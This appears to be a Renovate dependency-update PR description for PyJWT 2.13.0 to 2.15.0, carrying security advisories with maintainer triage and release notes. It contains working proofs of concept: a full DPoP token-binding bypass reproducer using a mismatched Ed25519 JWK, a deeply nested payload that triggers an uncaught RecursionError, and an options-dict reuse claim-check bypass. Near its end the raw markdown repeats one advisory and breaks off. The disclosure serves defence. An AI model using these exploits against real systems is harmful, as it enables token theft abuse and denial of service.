The reproducer creates two Ed25519 keypairs:

  • a legitimate holder keypair
  • an attacker keypair

It then:

  1. Creates an access token whose cnf.jkt is bound to the legitimate public key.
  2. Creates a DPoP proof JWK containing the legitimate user's x together with the attacker's d.
  3. Computes the RFC 7638 thumbprint from x, which still matches the access-token binding.
  4. Passes the complete JWK to PyJWK.from_dict().
  5. PyJWT imports the private key from the attacker-controlled d.
  6. A DPoP proof signed with the attacker's private key verifies successfully.

Observed result:

thumbprint_matches: true
actual_key_is_attacker_key: true
actual_key_matches_declared_x: false
stolen_sender_constrained_token_accepted: true
attacker_has_legitimate_private_key: false

Tested on PyJWT 2.13.0, PyJWT 2.14.0, and current master.

The complete reproducer is:


#!/usr/bin/env python3

from __future__ import annotations

import base64
import hashlib
import json
import os
import platform
import time
from importlib.metadata import version
from typing import Any

import jwt
from cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PrivateKey
from cryptography.hazmat.primitives.serialization import (
    Encoding,
    NoEncryption,
    PrivateFormat,
    PublicFormat,
)

ACCESS_TOKEN_SECRET = b"synthetic-authorization-server-key-32b"
HTTP_METHOD = "GET"
HTTP_URI = "https://resource.example/protected"

def b64url(raw: bytes) -> str:
    return base64.urlsafe_b64encode(raw).rstrip(b"=").decode("ascii")

def public_x(private_key: Ed25519PrivateKey) -> str:
    return b64url(private_key.public_key().public_bytes(Encoding.Raw, PublicFormat.Raw))

def private_d(private_key: Ed25519PrivateKey) -> str:
    return b64url(
        private_key.private_bytes(Encoding.Raw, PrivateFormat.Raw, NoEncryption())
    )

def jwk_thumbprint(jwk: dict[str, Any]) -> str:
    canonical = json.dumps(
        {"crv": jwk["crv"], "kty": jwk["kty"], "x": jwk["x"]},
        separators=(",", ":"),
        sort_keys=True,
    ).encode("ascii")
    return b64url(hashlib.sha256(canonical).digest())

def access_token_hash(access_token: str) -> str:
    return b64url(hashlib.sha256(access_token.encode("ascii")).digest())

def verify_resource_request(
    access_token: str,
    proof: str,
    *,
    reject_private_header_jwk: bool = False,
) -> dict[str, Any]:
    """Model the security-relevant stages of an RFC 9449 resource server."""
    access_claims = jwt.decode(
        access_token,
        ACCESS_TOKEN_SECRET,
        algorithms=["HS256"],
        issuer="https://authorization.example",
        audience="resource-api",
        options={"require": ["exp", "iss", "aud", "sub", "cnf"]},
    )
    header = jwt.get_unverified_header(proof)
    if header.get("typ") != "dpop+jwt" or header.get("alg") != "EdDSA":
        raise ValueError("invalid DPoP header policy")
    jwk = header.get("jwk")
    if not isinstance(jwk, dict):
        raise ValueError("missing DPoP JWK")
    if reject_private_header_jwk and any(
        member in jwk for member in ("d", "p", "q", "dp", "dq", "qi", "k")
    ):
        raise ValueError("DPoP header JWK contains private material")
    if jwk_thumbprint(jwk) != access_claims["cnf"]["jkt"]:
        raise ValueError("DPoP key does not match cnf.jkt")

    key = jwt.PyJWK.from_dict(jwk)
    proof_claims = jwt.decode(
        proof,
        key,
        algorithms=["EdDSA"],
        options={"require": ["htm", "htu", "iat", "jti", "ath"]},
    )
    if proof_claims["htm"] != HTTP_METHOD or proof_claims["htu"] != HTTP_URI:
        raise ValueError("DPoP request binding mismatch")
    if proof_claims["ath"] != access_token_hash(access_token):
        raise ValueError("DPoP access-token hash mismatch")
    return access_claims

def main() -> None:
    legitimate_holder = Ed25519PrivateKey.generate()
    attacker = Ed25519PrivateKey.generate()
    legitimate_x = public_x(legitimate_holder)
    attacker_x = public_x(attacker)

    legitimate_public_jwk = {
        "alg": "EdDSA",
        "crv": "Ed25519",
        "kty": "OKP",
        "x": legitimate_x,
    }
    mismatched_proof_jwk = {
        **legitimate_public_jwk,
        "d": private_d(attacker),
    }
    pinned_jkt = jwk_thumbprint(legitimate_public_jwk)

    now = int(time.time())
    access_token = jwt.encode(
        {
            "aud": "resource-api",
            "cnf": {"jkt": pinned_jkt},
            "exp": now + 300,
            "iat": now,
            "iss": "https://authorization.example",
            "scope": "admin:read",
            "sub": "legitimate-holder",
        },
        ACCESS_TOKEN_SECRET,
        algorithm="HS256",
    )
    proof_claims = {
        "ath": access_token_hash(access_token),
        "htm": HTTP_METHOD,
        "htu": HTTP_URI,
        "iat": now,
        "jti": "synthetic-attacker-proof",
    }
    attacker_proof = jwt.encode(
        proof_claims,
        attacker,
        algorithm="EdDSA",
        headers={"jwk": mismatched_proof_jwk, "typ": "dpop+jwt"},
    )

    imported = jwt.PyJWK.from_dict(mismatched_proof_jwk).key
    imported_x = b64url(
        imported.public_key().public_bytes(Encoding.Raw, PublicFormat.Raw)
    )
    accepted_claims = verify_resource_request(access_token, attacker_proof)

    public_only_rejected = False
    public_only_error = None
    public_only_proof = jwt.encode(
        proof_claims,
        attacker,
        algorithm="EdDSA",
        headers={"jwk": legitimate_public_jwk, "typ": "dpop+jwt"},
    )
    try:
        verify_resource_request(access_token, public_only_proof)
    except Exception as error:
        public_only_rejected = True
        public_only_error = type(error).__name__

    private_member_control_rejected = False
    private_member_control_error = None
    try:
        verify_resource_request(
            access_token,
            attacker_proof,
            reject_private_header_jwk=True,
        )
    except Exception as error:
        private_member_control_rejected = True
        private_member_control_error = type(error).__name__

    result = {
        "environment": {
            "PyJWT": jwt.__version__,
            "PyJWT_source": str(jwt.__file__),
            "Python": platform.python_version(),
            "cryptography": version("cryptography"),
            "source_ref": os.environ.get("PYJWT_SOURCE_REF", "installed-release"),
        },
        "dpop_binding": {
            "access_token_subject": accepted_claims["sub"],
            "access_token_scope": accepted_claims["scope"],
            "pinned_jkt": pinned_jkt,
            "proof_jkt": jwk_thumbprint(mismatched_proof_jwk),
            "thumbprint_matches": jwk_thumbprint(mismatched_proof_jwk) == pinned_jkt,
        },
        "imported_key": {
            "declared_x": legitimate_x,
            "attacker_x": attacker_x,
            "actual_imported_x": imported_x,
            "actual_key_is_attacker_key": imported_x == attacker_x,
            "actual_key_matches_declared_x": imported_x == legitimate_x,
        },
        "vulnerable_composition": {
            "stolen_sender_constrained_token_accepted": accepted_claims["sub"]
            == "legitimate-holder",
            "attacker_has_legitimate_private_key": False,
        },
        "controls": {
            "public_only_jwk_rejected": public_only_rejected,
            "public_only_error": public_only_error,
            "reject_private_header_jwk_blocks_attack": private_member_control_rejected,
            "private_member_control_error": private_member_control_error,
        },
    }

    assert jwk_thumbprint(mismatched_proof_jwk) == pinned_jkt
    assert imported_x == attacker_x
    assert imported_x != legitimate_x
    assert accepted_claims["sub"] == "legitimate-holder"
    assert public_only_rejected and public_only_error == "InvalidSignatureError"
    assert private_member_control_rejected and private_member_control_error == "ValueError"
    print(json.dumps(result, indent=2, sort_keys=True))

if __name__ == "__main__":
    main()

06-practical-testing/pyjwt-okp-dpop-binding-bypass-lab.py

A public example of the affected composition exists in StrongDM's agentic-auth Flask middleware: it computes an OKP thumbprint from x and subsequently passes the entire JWK to PyJWK.from_dict() for EdDSA DPoP verification without rejecting d.

Impact

The PyJWT-owned issue is acceptance of internally inconsistent cryptographic key material: the JWK can declare one public key while the operative private key corresponds to another.

In a DPoP verifier that:

  • calculates cnf.jkt / JWK thumbprints from the declared x,
  • passes the same JWK to PyJWT for signature verification, and
  • does not reject private JWK parameters,

an attacker who steals a sender-constrained access token can use the token without possessing the legitimate holder's private key.

RFC 9449 §4.2 requires DPoP implementations to reject private key parameters in proof JWKs. Therefore the demonstrated authentication bypass additionally requires a DPoP implementation that omits this check. RFC-compliant DPoP implementations that reject d are not vulnerable to the demonstrated attack.

Maintainer assessment (2026-09-12)

We independently reproduced the PyJWT-owned issue: importing a private OKP JWK with non-corresponding x and d components returned the private key derived from d while accepting the conflicting declared public identity. The precise library impact is loss of JWK key-component consistency; a caller that uses x as the JWK identity and the returned key for cryptographic operations can act on two different key identities.

Exact boundary checks found Ed25519 JWK import absent in 2.0.1 and the inconsistent-pair behavior present in 2.1.0. Ed448 JWK import was absent in 2.1.0 and the behavior was present in 2.2.0. Both curves reproduced in 2.14.0 and the tested pre-fix source. These samples support the existing affected metadata (>= 2.1.0, <= 2.14.0) and the per-curve introduction points, but do not claim exhaustive testing of every intervening release.

The fix is on master in commit 3cd9ceec33ced359decbad75b413ad668ae6332c. It derives the public bytes from d, compares them with x, and rejects a mismatch. Fresh independent Astra/max review accepted the exact tree 9f219601e39026c7094d48f3fbb6678951878aa8 with no blocking findings or required revisions. Targeted red/green and sibling-path checks passed, and the exact repository CI command python -m tox passed all 35 required environments both before and after the commit.

The reported DPoP stolen-token scenario additionally requires an application to pass a private JWK from the proof header without rejecting private-key parameters. RFC 9449 sections 4.2 and 4.3 require such parameters to be absent or rejected, so that bypass is application-dependent and outside PyJWT's security-policy scope; it is not used to characterize the PyJWT-owned impact.

The fix is not yet contained in a released PyJWT 2.x version, so patched_versions remains empty and this advisory remains unpublished. The next lifecycle step is to move the advisory from triage to draft now that the verified fix is on master; publication must wait until a new released 2.x version is confirmed to contain the fix and is recorded as the patched boundary.

Maintainer release update (2026-09-23)

PyJWT 2.15.0 is the first released version containing the OKP JWK consistency fix. Its GitHub release tag points to commit 1d41a6478e1562e68ff667fcd703356acf085f68, which includes fix commit 3cd9ceec33ced359decbad75b413ad668ae6332c. PyPI published both the wheel and source distribution from that release commit through the successful production workflow at https://github.com/jpadilla/pyjwt/actions/runs/35891602963.

The published PyPI wheel (pyjwt-2.15.0-py3-none-any.whl, SHA-256 7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8) was checked directly: matching Ed25519 and Ed448 x/d private JWK components import successfully, while mismatched components raise InvalidKeyError. The supported affected range remains >= 2.1.0, <= 2.14.0; the patched version is 2.15.0. The earlier statement that no released patched version exists is superseded by this update.

The PyJWT-owned impact is acceptance of internally inconsistent OKP key material in affected versions. The reported DPoP stolen-token scenario additionally requires an application to accept private key parameters from a proof header, contrary to RFC 9449; it is not the basis for this advisory's classification. CVSS v3.1 6.5 (Medium), CWE-345, and CWE-348 are unchanged.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


PyJWT: Unauthenticated RecursionError DoS in pre-verification payload parse (PyJWKClient.get_signing_key_from_jwt / verify_signature=False)

CVE-2026-101918 / GHSA-42vr-xj54-vc7v / PYSEC-2026-4141

More information

Details

Summary

PyJWKClient.get_signing_key_from_jwt(token) — the first step of the JWKS
verification flow documented in docs/usage.rst — must decode a token's
payload before its signature can be checked, via
jwt.api_jwt.decode_complete(token, options={"verify_signature": False}).
That call parses the payload with json.loads in PyJWT._decode_payload
(jwt/api_jwt.py:297-300), whose except clause catches only ValueError.
A payload that is valid JSON but nested ~20,000 levels deep makes
json.loads raise RecursionError, which is not a ValueError and
escapes as a raw, undocumented exception type — not DecodeError,
InvalidTokenError, or PyJWTError, so every documented error-handling
pattern in docs/usage.rst misses it.

The token needs no valid signature and no network access — the crash
happens during payload parsing, before the kid is even looked up. A
single unauthenticated ~50KB request crashes the caller's auth handler
(HTTP 500 / dead worker), repeatably. The same path is reachable through
plain jwt.decode(token, options={"verify_signature": False}) too.

Notably, this project already fixed the identical bug class for the
JWS header path — PyJWS._load catches (ValueError, RecursionError)
and wraps it in DecodeError (jwt/api_jws.py:360-361), and
CHANGELOG.rst (v2.14.0, "Security") states "Handle deeply nested and
malformed JWS/JWK input without uncaught recursion errors." The payload
path — the one part of a forged token an unauthenticated attacker fully
controls — was left catching ValueError alone, so that security fix does
not fully hold.

A second, related instance: PyJWKClient.fetch_data (jwt/jwks_client.py:168)
parses a JWKS endpoint's response with json.load(response) inside a
try that only catches (URLError, TimeoutError, http.client.HTTPException)
— a deeply-nested JSON response from a JWKS endpoint raises the same raw
RecursionError, uncaught entirely (worse than the payload path, which at
least caught plain ValueError).

Affected versions: confirmed present in the current release, 2.14.0,
and on the current master branch (commit 4adcd02722f5011c60079d3978dfc167b9a8eaa5).

Reproduction
import base64, json, jwt

def b64url(b):
    return base64.urlsafe_b64encode(b).rstrip(b"=")

header = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
payload = b64url(b"[" * 20_000 + b"]" * 20_000)
token = (header + b"." + payload + b"." + b64url(b"forged-sig")).decode()

jwt.decode(token, options={"verify_signature": False})

##### raises: RecursionError (not DecodeError/InvalidTokenError/PyJWTError)

Control: the same deeply-nested structure moved into the token's header
instead of its payload is correctly converted to jwt.DecodeError by the
already-hardened jwt/api_jws.py:360 — confirming the payload path is
specifically the missed half of the v2.14.0 hardening, not a general gap.

Impact assessment

Unauthenticated denial-of-service via unhandled exception on an auth path.
Not an auth bypass — rated medium. With signature verification enabled,
this parse runs after _verify_signature, so only the pre-verification
paths (get_signing_key_from_jwt, explicit verify_signature=False) are
attacker-reachable pre-auth; the JWKS-endpoint variant requires control of
(or a MITM on) the configured JWKS endpoint rather than being reachable
from an arbitrary client token.

Suggested fix

In jwt/api_jwt.py:299, change except ValueError as e: to
except (ValueError, RecursionError) as e:, mirroring
jwt/api_jws.py:360 exactly. In jwt/jwks_client.py, add the same
(ValueError, RecursionError) handling around json.load(response) in
fetch_data, raising PyJWKClientError (consistent with the method's
existing documented error contract). A patch implementing both, verified
against the full test suite (457 passed, 4 skipped — pre-existing,
environment-related) and against the reproduction above (now correctly
raises DecodeError), is attached (fix.patch).

Discovery method

Found and verified using scopegrep (https://github.com/not-ekalabya/scopegrep)
— a semantic code-retrieval tool that surfaces every other call site of a
symbol alongside relevance-ranked results, which is what surfaced the
already-hardened header path as the direct comparison here — paired with
an LLM coding agent (GLM-5.3) run as an open-ended security review of this
repository. Independently reproduced against the exact commit above before
this report was written. Happy to share the full session transcript on
request.

Disclosure status

Not shared with any other party or published. Submitting through this
private channel per the project's stated security policy; no planned
public/conference disclosure ahead of a coordinated timeline.


Maintainer triage update (2026-09-22)
Confirmed finding and scope

We confirmed that an attacker-controlled recursively nested JWT payload can cause a raw Python RecursionError to escape PyJWT at PyJWT 2.14.0 and the tested current source. The confirmed in-scope paths are direct decoding with verify_signature=False and PyJWKClient.get_signing_key_from_jwt, where payload parsing occurs before key lookup.

The demonstrated impact is limited to an uncaught exception for the affected call, which may surface as an application HTTP 500 when the application does not catch it. Testing did not demonstrate a worker or process crash, persistent resource exhaustion, resource amplification, authentication bypass, or confidentiality or integrity impact.

The separate JWKS-response subclaim is out of scope under the policy boundary that requires the application to trust its configured JWKS source and transport. The confirmed payload finding is not a duplicate of the earlier protected-header parser finding: it occurs in a distinct payload parsing path that remained affected after the earlier header-only fix.

Version and remediation status

Historical testing reproduced the confirmed payload behavior in all 20 official supported PyJWT 2.x releases from 2.0.0a1 through 2.14.0, inclusive. Unsupported PyJWT 1.7.1 also reproduces the behavior, but it is excluded from the advisory range under the supported-2.x policy. No supported unaffected release and no patched release exists. The exact evidence is /Users/jpadilla/.codex/security-advisories/pyjwt/GHSA-42vr-xj54-vc7v-historical-range-20260922.md (SHA-256 c48f1ac35641e9382d53e6a879a71ad9a8fb4432bbe871f2b8330f8d166a2d81) and /Users/jpadilla/.codex/security-advisories/pyjwt/historical-range-42vr-20260922/historical-range-results.json (SHA-256 324997f231561bf6da39b8f9d1e272f69bfde8871a7863f5cb7b70e22e91f076). The evidence-backed supported affected range is >= 2.0.0a1, <= 2.14.0.

Historical range verification is complete. A local fix commit exists and has passed independent review and the complete local CI suite, but it has not been merged into master or released. Consequently, patched_versions remains empty and this advisory remains in triage. The remaining next step is a maintainer decision on remediation and merge. After a fix lands in master and is released, patched_versions and advisory lifecycle can be updated in a separate approved batch.


Maintainer remediation update (2026-09-23)

The confirmed payload-parser finding has been fixed on master. Commit
5fde08a6cf906aa7698de2d6391d88b73006b17b converts a recursive
payload parse failure to the expected DecodeError; commit
9bc06658f875b9b40091539140bbbdc4639161c3 makes the regression tests
deterministic across supported Python versions. This update supersedes the
2026-09-22 remediation-status statement that the fix had not landed.

The original pre-verification payload reproducer and the
PyJWKClient.get_signing_key_from_jwt path were covered by regression tests.
The exact landed tree passed the full 39-environment local tox matrix and
GitHub CI for commit 9bc06658f875b9b40091539140bbbdc4639161c3 passed
all 25 jobs, including Ubuntu Python 3.14 and 3.15. The demonstrated impact
remains an uncaught request-level exception in affected releases; there is
still no evidence of process termination, persistent resource exhaustion,
authentication bypass, or confidentiality or integrity impact.

The supported affected range remains >= 2.0.0a1, <= 2.14.0. The latest
released version is 2.14.0, which predates these commits; no released
patched version exists yet, so patched_versions remains unset. CVSS v3.1
5.3 (Medium) and CWE-248 remain unchanged. The advisory may now move from
triage to private draft. The next lifecycle step is a new supported 2.x
release containing the fix, followed by separately approved patched-version
and publication updates after release verification.


Maintainer release update (2026-09-23)

PyJWT 2.15.0 is the first released version containing the payload-parser fix. Its GitHub release tag points to commit 1d41a6478e1562e68ff667fcd703356acf085f68, which includes fix commit 5fde08a6cf906aa7698de2d6391d88b73006b17b and deterministic regression-test commit 9bc06658f875b9b40091539140bbbdc4639161c3. PyPI published both the wheel and source distribution from that release commit through the successful production workflow at https://github.com/jpadilla/pyjwt/actions/runs/35891602963.

The published PyPI wheel (pyjwt-2.15.0-py3-none-any.whl, SHA-256 7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8) was checked directly: the deeply nested unsigned payload now raises DecodeError, while an ordinary unsigned payload still decodes. The supported affected range remains >= 2.0.0a1, <= 2.14.0; the patched version is 2.15.0. Earlier statements in this advisory that no released patched version exists are superseded by this update.

The confirmed impact remains an uncaught request-level exception in affected versions, not a demonstrated process crash or authentication bypass. The separate JWKS-response subclaim remains outside this advisory's confirmed PyJWT-owned scope.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


CVE-2026-102275 / GHSA-x33g-cr3x-6449 / PYSEC-2026-4183

More information

Details

PyJWT is a Python implementation of JSON Web Token standards. From 2.1.0 until 2.15.0, PyJWT OKPAlgorithm.from_jwk in jwt/algorithms.py is affected because private-JWK import path does not compare the public key derived from d with x. This occurs when an OKP private JWK supplies non-corresponding x and d components. As a result, identity derived from x can differ from operations performed with d. Consequently, if an integration also accepts private key parameters from a proof header without rejecting them, an attacker may use a stolen sender-constrained token without the legitimate private key. This issue is fixed in version 2.15.0.

Severity

  • CVSS Score: 8.2 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


Release Notes

jpadilla/pyjwt (pyjwt)

v2.15.0

Compare Source

See the 2.15.0 changelog for complete release details.

v2.14.0

Compare Source

See the 2.14.0 changelog for the complete release details and related security advisories.


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Mend Renovate.

This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [pyjwt](https://github.com/jpadilla/pyjwt) | `2.13.0` → `2.15.0` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/pyjwt/2.15.0?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/pyjwt/2.13.0/2.15.0?slim=true) | --- ### PyJWT.decode() reintroduces options-dict mutation, enabling silent claim-verification bypass on dict reuse [CVE-2026-103001](https://nvd.nist.gov/vuln/detail/CVE-2026-103001) / [GHSA-gvp8-978c-rx2q](https://github.com/advisories/GHSA-gvp8-978c-rx2q) / PYSEC-2026-4146 <details> <summary>More information</summary> #### Details ##### Summary `PyJWT.decode()`/`decode_complete()` mutates a caller-supplied `options` dict in place whenever `verify_signature` is falsy, adding `verify_exp`/`verify_nbf`/`verify_iat`/`verify_aud`/`verify_iss`/`verify_sub`/`verify_jti` keys directly onto that object. If application code reuses the same `options` dict across calls (a config object, a module-level constant, a wrapper's `self.options`), a later call that explicitly sets `verify_signature=True` for a full, normal verification silently inherits the leftover `verify_exp=False` etc. from an earlier `verify_signature=False` call on the same object -- and accepts an expired, wrong-audience, wrong-issuer, or wrong-subject token as valid with no exception. Signature verification itself is unaffected; this is specifically a claims-check bypass. This is a regression of an already-fixed, closed issue: originally reported in #&#8203;679 (2021), fixed in #&#8203;743 (2022, via a shallow copy of `options`), and silently reintroduced by #&#8203;1045 (merged 2025-03-05, a typing/logic refactor that dropped the 2022 shallow-copy line). It has been present since #&#8203;1045 merged, so it likely shipped in several releases already in the wild. ##### Details File: `jwt/api_jwt.py`, `PyJWT._merge_options()` (called from `decode_complete()`, which backs both `jwt.decode()` and `jwt.decode_complete()`): ```python def _merge_options(self, options=None): if options is None: return self.options if not options.get("verify_signature", True): options["verify_exp"] = options.get("verify_exp", False) options["verify_nbf"] = options.get("verify_nbf", False) # ...5 more, same pattern -- all written directly onto the caller's dict return {**self.options, **options} ``` No `dict(options)` copy occurs before these writes, unlike the pre-2025-03-05 code (see #&#8203;743's fix, `options = dict(options or {})`). Confirmed via `gh api repos/jpadilla/pyjwt/commits/29fbfc36` that #&#8203;1045's diff removes that line. Confirmed still present on current `main` via a live fetch of `jwt/api_jwt.py`. ##### PoC Two scripts, each run twice (separate processes), identical output both times (except Python object `id()`), saved locally and available on request: ```python import jwt, time INSECURE_OPTIONS = {"verify_signature": False} secret = "s3cr3t" expired_token = jwt.encode( {"exp": int(time.time()) - 3600, "data": "x"}, secret, algorithm="HS256" ) jwt.decode(expired_token, options=INSECURE_OPTIONS) print(INSECURE_OPTIONS) ##### The dict has been silently mutated with 7 new keys, including verify_exp: False. INSECURE_OPTIONS["verify_signature"] = True result = jwt.decode(expired_token, secret, algorithms=["HS256"], options=INSECURE_OPTIONS) print(result) ##### No exception raised. Expected: jwt.ExpiredSignatureError, since verify_signature=True ##### was explicitly requested on this call. ``` Reproduced deterministically across 2 independent process runs. ##### Impact Preconditions: the calling application must reuse a mutable `options` dict object across two or more `decode()`/`decode_complete()` calls with different intent (e.g. one "insecure peek" call followed by a "fully verified" call on the same dict, config object, or instance attribute). This is a real, plausible pattern but not universal; it does not affect code that constructs a fresh `options` dict per call. When triggered: a signed-but-expired (or wrong-aud/iss/sub/jti) token is silently accepted as fully verified, with no warning or exception. This is an authentication/claims-verification bypass, not a signature-verification bypass. Scope: regression present since PR #&#8203;1045 (merged 2025-03-05), affecting every PyJWT release since then up to and including the current 2.13.0. Suggested fix: restore a shallow copy inside `_merge_options()` itself (rather than relying on a caller-side copy), so every caller of `_merge_options` is covered: ```python def _merge_options(self, options=None): if options is None: return self.options options = dict(options) # never mutate the caller's dict if not options.get("verify_signature", True): options.setdefault("verify_exp", False) options.setdefault("verify_nbf", False) options.setdefault("verify_iat", False) options.setdefault("verify_aud", False) options.setdefault("verify_iss", False) options.setdefault("verify_sub", False) options.setdefault("verify_jti", False) return {**self.options, **options} ``` Found via a property-based audit (copy/clone independence across widely-used Python libraries); both repro scripts were written and independently re-run before this report. ##### Maintainer update — 2026-09-08 We reproduced the reported behavior on PyJWT 2.13.0 at source SHA `7144e4534c34810f4525dc4578a32addd8212cff`. A caller-supplied mutable `options` mapping was modified when `verify_signature` was false; reusing that mapping after re-enabling signature verification could leave registered-claim checks disabled. This is a conditional claim-verification bypass, not a signature-forgery issue. A narrow fix has been prepared: PyJWT now copies the options mapping before applying defaults. Regression coverage includes `decode()`, `decode_complete()`, constructor input preservation, mutable-mapping compatibility, and reuse of an options mapping across verification modes. The focused tests pass, the full suite passes with 369 tests and 4 intentional cryptography-environment skips, and lint/format/type checks pass. The advisory remains in triage while the fix goes through release planning. The independently verified range in this investigation is 2.13.0; reports of earlier affected versions should include the exact version and reproduction details. #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N` #### References - [https://github.com/jpadilla/pyjwt/security/advisories/GHSA-gvp8-978c-rx2q](https://github.com/jpadilla/pyjwt/security/advisories/GHSA-gvp8-978c-rx2q) - [https://github.com/jpadilla/pyjwt/commit/0c87c8c8b1a74cac99ad8115f3050efcb7fbed35](https://github.com/jpadilla/pyjwt/commit/0c87c8c8b1a74cac99ad8115f3050efcb7fbed35) - [https://github.com/jpadilla/pyjwt](https://github.com/jpadilla/pyjwt) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-gvp8-978c-rx2q) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### PyJWT.decode() reintroduces options-dict mutation, enabling silent claim-verification bypass on dict reuse [CVE-2026-103001](https://nvd.nist.gov/vuln/detail/CVE-2026-103001) / [GHSA-gvp8-978c-rx2q](https://github.com/advisories/GHSA-gvp8-978c-rx2q) / PYSEC-2026-4146 <details> <summary>More information</summary> #### Details ##### Summary `PyJWT.decode()`/`decode_complete()` mutates a caller-supplied `options` dict in place whenever `verify_signature` is falsy, adding `verify_exp`/`verify_nbf`/`verify_iat`/`verify_aud`/`verify_iss`/`verify_sub`/`verify_jti` keys directly onto that object. If application code reuses the same `options` dict across calls (a config object, a module-level constant, a wrapper's `self.options`), a later call that explicitly sets `verify_signature=True` for a full, normal verification silently inherits the leftover `verify_exp=False` etc. from an earlier `verify_signature=False` call on the same object -- and accepts an expired, wrong-audience, wrong-issuer, or wrong-subject token as valid with no exception. Signature verification itself is unaffected; this is specifically a claims-check bypass. This is a regression of an already-fixed, closed issue: originally reported in #&#8203;679 (2021), fixed in #&#8203;743 (2022, via a shallow copy of `options`), and silently reintroduced by #&#8203;1045 (merged 2025-03-05, a typing/logic refactor that dropped the 2022 shallow-copy line). It has been present since #&#8203;1045 merged, so it likely shipped in several releases already in the wild. ##### Details File: `jwt/api_jwt.py`, `PyJWT._merge_options()` (called from `decode_complete()`, which backs both `jwt.decode()` and `jwt.decode_complete()`): ```python def _merge_options(self, options=None): if options is None: return self.options if not options.get("verify_signature", True): options["verify_exp"] = options.get("verify_exp", False) options["verify_nbf"] = options.get("verify_nbf", False) # ...5 more, same pattern -- all written directly onto the caller's dict return {**self.options, **options} ``` No `dict(options)` copy occurs before these writes, unlike the pre-2025-03-05 code (see #&#8203;743's fix, `options = dict(options or {})`). Confirmed via `gh api repos/jpadilla/pyjwt/commits/29fbfc36` that #&#8203;1045's diff removes that line. Confirmed still present on current `main` via a live fetch of `jwt/api_jwt.py`. ##### PoC Two scripts, each run twice (separate processes), identical output both times (except Python object `id()`), saved locally and available on request: ```python import jwt, time INSECURE_OPTIONS = {"verify_signature": False} secret = "s3cr3t" expired_token = jwt.encode( {"exp": int(time.time()) - 3600, "data": "x"}, secret, algorithm="HS256" ) jwt.decode(expired_token, options=INSECURE_OPTIONS) print(INSECURE_OPTIONS) ##### The dict has been silently mutated with 7 new keys, including verify_exp: False. INSECURE_OPTIONS["verify_signature"] = True result = jwt.decode(expired_token, secret, algorithms=["HS256"], options=INSECURE_OPTIONS) print(result) ##### No exception raised. Expected: jwt.ExpiredSignatureError, since verify_signature=True ##### was explicitly requested on this call. ``` Reproduced deterministically across 2 independent process runs. ##### Impact Preconditions: the calling application must reuse a mutable `options` dict object across two or more `decode()`/`decode_complete()` calls with different intent (e.g. one "insecure peek" call followed by a "fully verified" call on the same dict, config object, or instance attribute). This is a real, plausible pattern but not universal; it does not affect code that constructs a fresh `options` dict per call. When triggered: a signed-but-expired (or wrong-aud/iss/sub/jti) token is silently accepted as fully verified, with no warning or exception. This is an authentication/claims-verification bypass, not a signature-verification bypass. Scope: regression present since PR #&#8203;1045 (merged 2025-03-05), affecting every PyJWT release since then up to and including the current 2.13.0. Suggested fix: restore a shallow copy inside `_merge_options()` itself (rather than relying on a caller-side copy), so every caller of `_merge_options` is covered: ```python def _merge_options(self, options=None): if options is None: return self.options options = dict(options) # never mutate the caller's dict if not options.get("verify_signature", True): options.setdefault("verify_exp", False) options.setdefault("verify_nbf", False) options.setdefault("verify_iat", False) options.setdefault("verify_aud", False) options.setdefault("verify_iss", False) options.setdefault("verify_sub", False) options.setdefault("verify_jti", False) return {**self.options, **options} ``` Found via a property-based audit (copy/clone independence across widely-used Python libraries); both repro scripts were written and independently re-run before this report. ##### Maintainer update — 2026-09-08 We reproduced the reported behavior on PyJWT 2.13.0 at source SHA `7144e4534c34810f4525dc4578a32addd8212cff`. A caller-supplied mutable `options` mapping was modified when `verify_signature` was false; reusing that mapping after re-enabling signature verification could leave registered-claim checks disabled. This is a conditional claim-verification bypass, not a signature-forgery issue. A narrow fix has been prepared: PyJWT now copies the options mapping before applying defaults. Regression coverage includes `decode()`, `decode_complete()`, constructor input preservation, mutable-mapping compatibility, and reuse of an options mapping across verification modes. The focused tests pass, the full suite passes with 369 tests and 4 intentional cryptography-environment skips, and lint/format/type checks pass. The advisory remains in triage while the fix goes through release planning. The independently verified range in this investigation is 2.13.0; reports of earlier affected versions should include the exact version and reproduction details. #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N` #### References - [https://github.com/jpadilla/pyjwt/security/advisories/GHSA-gvp8-978c-rx2q](https://github.com/jpadilla/pyjwt/security/advisories/GHSA-gvp8-978c-rx2q) - [https://github.com/jpadilla/pyjwt/commit/0c87c8c8b1a74cac99ad8115f3050efcb7fbed35](https://github.com/jpadilla/pyjwt/commit/0c87c8c8b1a74cac99ad8115f3050efcb7fbed35) - 